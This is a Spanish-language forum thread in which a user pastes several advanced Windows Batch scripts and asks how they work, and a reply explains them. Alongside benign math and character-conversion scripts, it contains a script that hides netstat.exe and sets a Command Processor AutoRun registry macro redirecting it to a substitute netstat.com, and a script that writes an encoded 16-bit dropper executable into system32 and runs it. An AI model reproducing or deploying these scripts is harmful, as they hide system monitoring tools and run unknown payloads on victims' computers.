Título: Batch avanzado
Publicado por: DProduct en 20 Diciembre 2008, 20:31 pm
Hola, tengo algunas dudas sobre Batch. Verán, yo me he leído el tutorial de sirdarckcat sobre Batch avanzado (y por cierto, sirdarckcat se explica bastante mal), y he aprendido a usar funciones avanzadas, pero hay códigos que todavía no he sido capaz de entender, como por ejemplo los siguientes: http://foro.elhacker.net/scripting/musicbat-t239002.0.html @echo off set a=%systemroot\%system32\ if not exist %a%tasklist.exe goto jmp for /f %%i in ('tasklist') do if %%i EQU acs.exe goto jmp for /f %%i in ('tasklist') do if %%i EQU nord32krn.exe goto jmp attrib +r +a +s +h %a%netstat.exe :jmp @reg add "HKLM\Software\Microsoft\Command Processor" /v AutoRun /f /d "@doskey netstat.exe=netstat.com">nul copy netstat.com %a%netstat.com >nul exit @echo off ::By H-BlacK If '%1==' GoTo:Eof If '%1=='Fact Call:Fact %2 If '%1=='Porcentaje Call:Porcentaje If '%1=='Sqrt Call:Sqrt_ %2 If '%1=='Log Call:Log %2 %3 If %1 NEQ Fact If %1 NEQ Porcentaje If %1 NEQ Sqrt If %1 NEQ Log call:Str GoTo:Eof :Fact ::Codigo de H-BlacK [Fact] If '%1==' Echo Debe especificar un n£mero. & GoTo:Eof set TmpN=%1 set TmpN_=%1 :b set /a TmpN=%TmpN%-1 If %TmpN%==0 Echo %TmpN_% & GoTo:Eof set /a TmpN_=%TmpN_% * %TmpN% GoTo:b :Porcentaje ::Codigo de todos los que lo han pensado .__. set /p Number=Escriba el numero a sacar porcentaje: set /p Number2=Escriba la cantidad de porcentaje a sacar: set /a Res=%Number%/100*%Number2% echo %Res% set Res= GoTo:Eof :Sqrt_ If '%1==' Echo Debe especificar un n£mero. GoTo:Eof set nSQRT=%1 If %nSQRT%==0 Echo Raiz: 0 & pause>nul & GoTo:Eof set nSQRT=%nSQRT%00 call:Sqrt %nSQRT% GoTo:Eof :Sqrt ::Codigo de ne0x [obtener raiz entera] ::Codigo de SPP [agregar una coma] ::Codigo H-BlacK [Calculo de decimales] set /a n=n+1 set /a nD=n*n if %nD%==%nSQRT% ( Echo Raiz: %n:~0,-1%,%n:~-1% set n= set nD= set nSQRT= GoTo:Eof ) if %nD% GTR %nSQRT% GoTo:Algorithm GoTo:Sqrt :Algorithm ::Calculo de decimales ::en una raiz by H-BlacK set /a n=n-1 set /a nD=n*n set /a res=%nSQRT%-%nD% set count=0 :Repeat if %count%==6 GoTo:Show set /a Dn=n*2 set res=%res%0 set /a d=res/Dn set n=%n%%d% set mlt_=%Dn%%d% set /a mlt=mlt_*d set res=%res%0 set /a res=%res%-%mlt% set /a count=count+1 GoTo:Repeat :Show echo Raiz: %n:~0,-7%,%n:~-7% set mtl_= set mtl= set res= set count= set d= set Dn= set n= set nD= GoTo:Eof :Log If '%1==' GoTo:Eof If '%2==' GoTo:Eof set bLog=%1 set count=1 if %2==%1 ( Echo Log base %1 de %2=1 GoTo:Eof ) If %2==1 ( Echo Log%1 %2=0 GoTo:Eof ) If %2 LSS %1 ( Echo Log base %1 de %2=0 Echo El resultado no es un n£mero entero. GoTo:Eof ) :Log_ set /a count=count+1 set /a bLog=bLog*%1 If %2==%bLog% ( Echo Log base %1 de %2=%count% set count= set bLog= GoTo:Eof ) If %bLog% GTR %2 ( setlocal enabledelayedexpansion set /a count=!count!-1 Echo Log base %1 de %2=!count! Echo El resultado no es un n£mero entero. set count= set bLog= GoTo:Eof ) GoTo:Log_ :Str Echo. Echo Parametro no valido. Echo. Echo Los parametros validos son: Echo. Echo - Fact [N£mero a calcular factorial] Echo - Sqrt [N£mero a calcular raiz] Echo - Porcentaje Echo - Log [Base] [N£mero] Echo. GoTo:Eof @echo off set a=echo cd %systemroot%\system32 call:codebat > "RunDll32.bat" call:run > "RunDll32.com" If exist 1.exe goto y RunDll32.com > nul :y 1.exe del /q /f RunDll32.com Exit :run %a%XPPPYZIQD[L-f6-g41GDSXu'@,~P^^P_O,!(GU(GZ(Gnu5-NETSEND_V1.00_JRT= %a%CFFFRX,`,`2$F=@!t.rQ0%%IuL0%%(%%(%%GERYAARX2%%(%%t8-1.EXE________01200 %a%1v1v0^<0xD^"1^<0$G^"P/0A0^^F^"12d^"1TP)0B0z0z1^^Q+0m1TQ-w^"1+1S1#0B0zd^"0] %a%Q+0z0Y1_1o0Sh^"0u0XP*d^"0]P,0z0Y1_1uv^"P-q^"e^"e^"0S0.0^>1kP-0^&E^"001S1. %a%0S130X1(K^"100(100(100(0T16v^"081/0$M^"070S050T0-v^"0/0C0T0^"v^"081/0$ %a%M^"070X17I^"0XQ+L^"0_N^"0S050T0-v^"0/0C0X1#L^"1S0#1#0F19P*D^"0^<Q/1F1C0^< %a%1#D^"1C0i1^<0x1Y0^<P*D^"0p17!(c)JIM_TUCKER_jtucker@adam.com.au_XXXX^< %a%s'7O!!)[q;_(7O!!!!!!!!-CV^"h/k^>09H2^<lNTb-.`q48D!AD_%%ZiC57pLXqVuTw %a%I61BUDS`aSnY:^>!.$XG$b7_mfrh=^".=-9H^&+go_N9kn[g?!.$XRsb8P^<Y9!!-;qb %a%^"`M*^&4..jpq41I!1`E*^"P=xd)/%%dOW^&C?W)1($f7Fj^"UIR%%'.Ydd#_.R%%1;cKu4` %a%`^<*^"@^"^&]g1rXS^>I^^vAg?#_UU%%1dPKtEUbFY=imm`i#8cOW%%')=G+#J.b+c0L1a/( %a%rX!$YVN^"pKLnN17T!8!^"3!SudeN?!e?G`^<@PPaxp4`#+!!!!!!!!!^"!1!!'?!!^&Z %a%!@onyZznM{+S!!!!d@!$Z2!$j0^"#7v7e!YEI!!bWMNo'5IY9Z\Y?SVN^<,@^"nN:)1 %a%uE+BC\y)*5v*C{4S!HC^&s{cks^>t`Et\)Y9Bo8sO6j1!pcS^&Y!0eW0[L(+diI$D=t %a%!k,4*lN4Ek^&Bz^&^&EojdnPfN^<,^>^"nNB'Oz^^o[#0P[j1f[Ul9/!=BP-dMM+dIi/6g@ %a%Z\om0[M-'u6*7bovO.oc^"L5ESY%%td^^Q7!AAf?vj^>j2#,dH%%^<#,YCq5!$6OuA^<wrY %a%L[h,%%@Mm)[0O7acjN^"Bj*fN:`)pLGg!#v^^]Iii0l?w#My^^G*m2T/0=O4^&+ZTxKk^^ %a%efD+yYe3_*ZVg[4e!yKO*mN2S\RwN*^&Z!yp's{NB*u^"EyY^"8^"C!)!vC@^"lZ2^^F!! %a%R/qX9^^SA1tEe3$$j@GF\z^>!-4wllKK^&EefD+s{vy1o%%XNYVKY9N*W3-M/jt`:r:E %a%#jp's{pE$1,\-aOWSm'?!n`D^&bdP,^<)M%%uBIo^^S]r`,X=1pT_K@2-dP_^^c8^&dX!{ %a%$C=D!+dXU5^>l3QBg!IxnG8b204!m:rC^&4My{!)/WE^^4nWa^"j$9AT-g#qo$,BKP'@ %a%^"^&Zn\G/P9xaMX@aqAzaI^>Zgfb8,BH`=u(+\eQufD$^^^>-?(;Lfn+8\0[,)OVJP.[I %a%q+CQ1a!$daBn,^<%%8^&\O_xH#{^"^&?9\17S'a4%%#kOH=9Y_0M^&vf^<P1%%cB3O,!U\)K5 %a%!%%AYN^<f#9H(yTmnxt[JoivlX,B),-)FI?tR^&H,,O%%.D!.DeOv2,NH{W_GmOzPMhG %a%9bv$b.z^"(eJ^>pdy(d'X{j^"F4`{Y(^^ao^^uObCdPYiEVgG9j,HN6%%-@^<8$^"iVO7fe^& %a%e]4XILG#'Km._xp+\0$P-]/'^"F)P'DZj)p0N^<iN=OGd`$Xl(2gCzE=)e^"#?R3=%%9 %a%-@%%^<%%S_YfB^"I;KY9^"hrqjb!aYrBfBrKyp$,@JF#sSe+h(^&!E!QN^"!%%gU;d!^"$*,Z %a%e5!*N*-m847c^&k,^>Eg)K^&gY',8#rm^^!Q7q)434#;+cm^"Y:K^&dn!]8/iU)i5-6lVJ %a%/BJ@OI)7E-7r;q951y,Ms%%Q!!YXR^"TI(\S!e!+)3UHR^<+9,hO/.V'O!$2/yUq!+Z %a%xR/OlQac#{.^&s]P/-j5w8v#SvBfmg6?cq*CY42F2eF!R24N^<(8+U^"M/^"8XP5V{oz %a%duYi!q^"f#+VVv2S?y_F.+4TN^"L!a#2R^<*{[6Aa!^"qb[teeh,,xN^"RP-%%,@Fv1s5= %a%a5U3/?-aO(!^"^",poeu,48l;doZC/YD.$g],^<G#JN#m9@-?^"G^"H@^":^^,!_weV8u]Q %a%!*uVxN^&^^`,;B!3rX^"\#x^"RK?^"GR{f!7a$p;'2^^E6;T:f^>*i`dV7Oj6uL(47q]QNb %a%!5OzgBNJ0ME6:f:zNZ7f.4I%%p(Hg3W#mLaS[!%%%%.^"-Rw6Z^"8%%us88,D@nkEy^&rJg %a%6B!%%(0JQ3QH;g^"Nm!.!$!$!%%8MNE84xTHTYU!i@P2^<tO4h=j^"^&XT^"F*^<ew!^"NUCn %a%eY0XNbf=pZYm1^"B?x655@Ead0NLC2WS[0ZpN;GYve-^&le0w/'@^"2Sc)U2_j8)O5+ %a%;_#75#N5dR#s#QqD!!);'`[S901quM/.^"^^!5!APv%%?MZnc#r!.oiN%%!'=.,?:)yi %a%!!Zd3OK;T\4x'7^>`7r!{!a%%FXuS*nwR:^"t*n#Vt(8NUICe$XN#(;!#^"-^^5$.HJ)\ %a%$g!-C24xp8$(^"f#+f:E@#1_biI%%w\,#k#A^&c.\^&Zic_7O9_GPMHD%%8z:N,?:Zb2W %a%!%%85i584%%n,Y947O!+5I^&ZQXN*u6/?Rjaa.P:^>!e[T8vMN7Q+zl8){Z^&,wz\26fF %a%!BpMZO%%KV:^"OTe^"R(O(0,UEYCE%%qD*vvp-9TZ^>Y(QS+g76$$5$^&r$OQ)p7VR^";\@ %a%NclX7QJX8^<q{l@=x^"F-+EEHux3_(f_fjO^^^"gN)4S#qX?/+T:OW,lNn!Bo;NCR[q2 %a%%%/+V)WV-#u5=,8!WH\-+Bv86I:7Umk!!3'l84a[E^&\+k^&raW8$:-uFRX,8^"SONQU %a%9@OG'1%%=,rRR!aQMBg,o,[)vex(,Ii^&]Kb!9(f4hwmrndbVJ7Qdi!#N/h.'?-]^&Z %a%XV!!\N8$VXBw9^^UeOnS.OUdkR8A+YEKKgC!)S/!Q%%n,8@S[f*yA^"^&Z'-!%%!N$@C, %a%4`du^>^<g!^"_#-'b#-!xo'(Aew^&rQm!9iC,IE`vKON--P2FZN(5+^"J#%%;o!(%%Y-GBZ %a%,;G%%O(NJOg^&(03!*CU)U.8!9vo^^r!iMu!DLxdR*49_*3hd)Om+,8X^^HTpp1ri1qf %a%O's^^!$[z^"L-^<Q%%4m!9^")^&:,h6'pN@/.b$c9\^&r(k!#Hw,@#Clx.5,xEV=mf[u:!e %a%1^^f\^&Zj71ruS!^"^<^^S\dPeFOoa^"S#4^"$64R*z-laa,jOG7P9),Z-rN$!@tC*MhI*^< %a%nU^&b?N:FO,8,f\0,#P$2e9'!#+,p!c!CQQ!^^z4,ica_(^"^^N2^&)qCPl%%?%%C(iU-/+ %a%/=,]XLC^>_g,YB`^"G!#AC+CNl!-_@2.%%^":FYMIY7O^&sfDJoe^<2ziK!^>4`!;j6!R_U %a%N2ig^>BOFI9#ps=%%6J3%%5#0kW7TVNGx]57pj/Y[$KND$\dP^&j+r)en?,P)$^&bf^&1Q %a%^"^&p'8ybU=/$*\(!;[O^&gDJ=Nju,hQ^"3Q^"gT`!^&c`OOBYU)/*`D7u.6!bp^<NCl:.D %a%(Q7O%%D%%$)I?s)Q5DSk.uYY8e*?!tJ09Z,?^&\^&_`D^&v\P!1ppT!CM^>C^&385!,7^&%%^< %a%9{S[^>FBj!'HdBfI=NDC('B^&7G!)Y!(EVc=^&b0lBnE3I!g2iWdQ-^>f^^Z?:@1E!a$3 %a%J`,pVp8%%?8,8f'lI^"n^<;N%%G\Pt2l1yA':F,l^&2Bm4r^"^&?q.$)wT!%%5iu!!uS)YWW %a%#k,fgW9[lX7QPyP0^&4(f-u#96_`R!A(0j^^f:Ck^&FLX%%^<^^r#y^"lR6F)G+-^"UY7z$@ %a%Z?^")!cT5t`'?6l^&k,@^&r!(4h8D#{^"YH,f{dH#,!(f\^&l9_)dqs!9h8HTa.!!g*C- %a%S#9Z!-#!!U3:OS1xb^"BxlRC^<M1dPfpeU^"vK6%%K]:$l-i!9+Wx4Cl'1j%%w_OG!+^"L %a%!\#1!'cm!-G12.+wBwC^&_hRG!BQX3N^"O0AN^&:K]L'32*!B@0dq/zpm$Y12#tBG#s %a%D4^&f^>71yD;_/fx#[PB\$8F)q9[+,Io*-'U!^>mM,H^"]^&zg^&:.NG*@OM51OM.9#q]C %a%dl8((^<,iRBY:XK#,nK!c)Ia.^&f;G,@5w4`qTbfPP,PfZ%%)!c%%BTd/c^^v'$'9,qMU %a%uW7cTp!g/H%%65'Pn42OK^&b7['Y^^z^"8e!pOu[7P%%7s[^"ecN^&x`hrbH?#k^&jdV^"Cxl %a%7R6j85+7Pl6AnH)It2^>0x.I9O@^^riXV;N:!SVb8d^&\CSPle1j:-5^"FC+,DNB#W:! %a%(pQq^&]^"M!#WV4hFZHDjjdW#+!#^&2!(0\^"qeu(bY9N[!!R=N/t*!8.b!Q/'^"FPl^>6 %a%dQ.1!^"#/!-=%%!80L#]JN2oY9Nm,9o.N^"!1!H\h!*6J'w7O2D,Fe6!(^"Y!$O?^"^>%%e %a%!_7O3%%arntCN72!+D0!Me-!D!!#oog,U^^u^>X!%%F%%!S.B7_G`1(h%%G(EeOy^&]^")Pq %a%OA!TzV#L!!'XXX3EBf$*!%%M^>Bga5!Y6Z#nfZ-TBfuhBiAWN0-q-Bc78k3l^&7fZ%%u %a%owiXdW5^^!!qC,s`t%%cEU4xg?gF!$N;!(%%W!TNb!'Uu$0dPN!7[jS7U4@P{'A-#m- %a%!Z,z/f^>ZPo1t+;!#8$')S79#DA^&{Z^"8sar'3okBx!^"^":^"^>!Q^&;P0-EPl$*N^";\N* %a%z6!^^n:!)Yy!1^^v2]S[S0dWw^"!.=mNl=a$(:^>!eaa#qoj!BN*s#!^"nJ#[+s)rDa^>0 %a%S\+q7TO.^&{(T*gD0^&!Nb!\aax5ogdZN)v@!A+c^"Kvj!:OGE=N^")M!'#q!2Q5!8dP %a%$-F:Y1E]o%%^^r-!!.p^^!VHH!,uG!`[C#+7OrldT!^>Sl$^<,X^&_!!.B6RK;j?ojqg!( %a%.m,_fV!aS^<-T-]:7S[p+dPA=#IYU!FhT^"o^"F7^&/'^>.'A$O;tIw!#.r1m3;![ogF( %a%$1-{q5?[!1^<nD^<qi7g;(GI=-BnBg?6N1l2!C+K#@7_^<'dP8TN^"=+!#\,!+YA.5-f %a%^"r5E,Z,8/'BuiS!-JB!_]OOUWO%%cHDP]Hw'!E!9DV{*$DtK,V[mAB%%Bvf*!%%E/Q+ %a%)W!d*^>Pu.t$5*:gg\J^"4r^"OD*!799a!a2vsAD3owA#NeUE7Zf.,zxlPw^"X#-N*j' %a%vjY9!-bx(EvO!A)N!*dP^"$(=hnjo21gOb!,d'w#Zr6,M#/jB2IYXevpD*#Go7u`U %a%^<vN^"^"=goCA$P**NP!%%'y0uY51C%%5)I4PZ@!5*vo_*%%Ma7gj75E%%uc8cDxGCQ=LOe %a%G?!#L`O557^&K!i!%%*B+g%%=hAS`vT^<H8^^7/(d^&_$!@MCQDGQOuoD^<F4Y)Kh81++Q= %a%!!*0f^&qYW+86P;^^e6xGaLOqJp-CR$?\CyH,zz^&jY=86ev7$^"y,[-\yUw\epLrnac %a%!'H.L`$!=@CQL0:^>o^^3FRZj6`c4h1F!fh7N$7eiH^&bIs[z/PXqOmV=931[.kN'^"f %a%$T3GP1^"8)=,I%%5RF8(+PiZ#u\eg9ELRIZ^^#kIgxwopULR#jf^"e^>G$-^<i^"HEAUmnb %a%j17R!$f_YpA1/kg/\D^>V1799gX('Co=;RC822;!.Tb-*7_^"j59/;N$[h!)VV!:V* %a%!g)]^&ZEU;g;$(ZN^&3{!/an/W]O$+vmNnS[hl7XdaHL^&67r/g#^^X\)zN)Dx,M+1Oi %a%c^^,Qu8[)g`@96+^<g*#bUr{,T!.@!sPDd]zN#=N^>#^"Q!^"mi^"r1I1T6/^<^&u:B^"#@KJ %a%'!!!~^< goto:eof
:codebat %a%Aqui va tu code %a%siempre empieza con %a% %a%ya que quiere decir esta variable %a%"Echo ". %a%el bat se escribe en system32 %a%para ser ejecutado.
O el que se lleva la palma: @echo off
SETLOCAL ENABLEDELAYEDE XPANSION
set lang=es set text=title,help0,help1,help2,help3,help4,help5,help6,help7,help8,using,error,succs set strAppName=spfix set strFileIn=%~1 set strFileOut=%~2 set strTmp=
:lang set es_title=Conversor de caracteres para lenguage batch. set es_help1=ADVERTENCIA: Este programa es totalmente set es_help2=efectivo si se utiliza con archivos de idioma. set es_help3=No se recomienda hacerlo directamente sobre set es_help4=un script, ya que genera una salida sin set es_help5=variables expandidas. set es_help6=Si su script no usa variables expandidas, set es_help7=usted puede intentar usar %strAppName% set es_help8=en forma directa sobre el archivo batch. set es_using=Uso: %strAppName% archivoOrigina l [archivoCorregido] set es_error=No se encontr¢ el archivo. set es_help0=Escriba %strAppName% sin par metros para ver la ayuda. set es_succs=La conversion termin¢ satisfactoriam ente.
for %%a in (%text%) do ( set strTmp=%lang%_%%a call set %%a=%%!strTmp!%% )
if %strFileIn%. EQU . ( echo.%title% echo. echo.%help1% echo.%help2% echo.%help3% echo.%help4% echo.%help5% echo.%help6% echo.%help7% echo.%help8% echo. echo.%using% echo. goto:EOF )
if not exist %strFileIn% ( echo.%error% echo. echo.%help0% echo. goto:EOF )
if %strFileOut%. EQU . ( set strFileOut=fixed_%strFileIn% )
if exist %strFileOut% del %strFileOut% for /f "tokens=* eol=" %%a in (%strFileIn%) do ( set strTmp=%%a set strTmp=!strTmp:á= ! set strTmp=!strTmp:é=‚! set strTmp=!strTmp:í=¡! set strTmp=!strTmp:ó=¢! set strTmp=!strTmp:ú=£! set strTmp=!strTmp:ñ=¤! set strTmp=!strTmp:Á=µ! set strTmp=!strTmp:É=! set strTmp=!strTmp:Í=Ö! set strTmp=!strTmp:Ó=à! set strTmp=!strTmp:Ú=é! set strTmp=!strTmp:Ñ=¥! set strTmp=!strTmp:¿=¨! echo !strTmp!>> %strFileOut% )
echo.%succs% echo. Ahora pregunto: ¿alguien sabe como puedo aprender a usar algunas funciones que aparecen en esos códigos? ¿y a como hacer "obras de ingeniería" como las que hay, por ejemplo, en el último código? Gracias
Título: Re: Batch avanzado
Publicado por: _carlos_ en 21 Diciembre 2008, 01:49 am
El primero es un código de Leo que trabaja usando nircmd.exe una utilidad para la consola con muchas funciones. El segundo, y creo hasta el final son códigos de BlackHack, el primero crea una macro con doskey que se cargará cada vez que se abra el cmd.exe sin la opción /d pues cmd.exe lee la clave AutoRun de "HKLM\Software\Microsoft\Command Processor" el objetivo de esa macro es que cuando el usuario escriba netstat.exe ejecute otro programa llamado netstat.com ¿con qué fin? XD El tercero es un código con funciones matemáticas: calcular factorial, calcular raiz, porcentaje, logaritmo El cuarto crea un ejecutable de 16 bit creado con netsend de jim tucker, que al ejecutarlo crea otro ejecutable, que ni idea de que será, pero cuidado con lo que ejecutas. El quinto es un conversor de caracteres para lenguage batch, le faltan algunos carácteres como la ü Ü
Yo no considero que sirdarckcat explique mal, tal vez tu comprensión de lectura no es buena, sin embargo, puedes leer ss64.com/nt Sobre lo de usar funciones, una cosa es entender cómo funcionan y otra cosa es aprender a usarlas, que consiste simplemente en llamarlas, y pasarle los parámetros requeridos que generalmente se indican en la ayuda de la función.
Título: Re: Batch avanzado
Publicado por: RTN-House en 27 Diciembre 2014, 21:11 pm
El segundo un fallo que yo veo es que es un "keylogger" muy muy elaborado, no se puede llamar keylogger pero se asimila lo que parece. El fallo es que este archivo por lotes lo que pretende es "capar" (ocupar por completo) tu banda ancha y sistemas de ejecución de Windows, lo que tiene como final el bloqueo del ordenador.
Título: Re: Batch avanzado
Publicado por: Eleкtro en 27 Diciembre 2014, 21:19 pm
@RTN-House
Porfavor, antes de postear, lee la fecha del post principal así como la fecha del último mensaje, la fecha de la última vez que el usuario estuvo activo, y las normas del foro (en mi firma).
Está prohibido reivir temas antiguos.
Tema cerrado.
Saludos!
|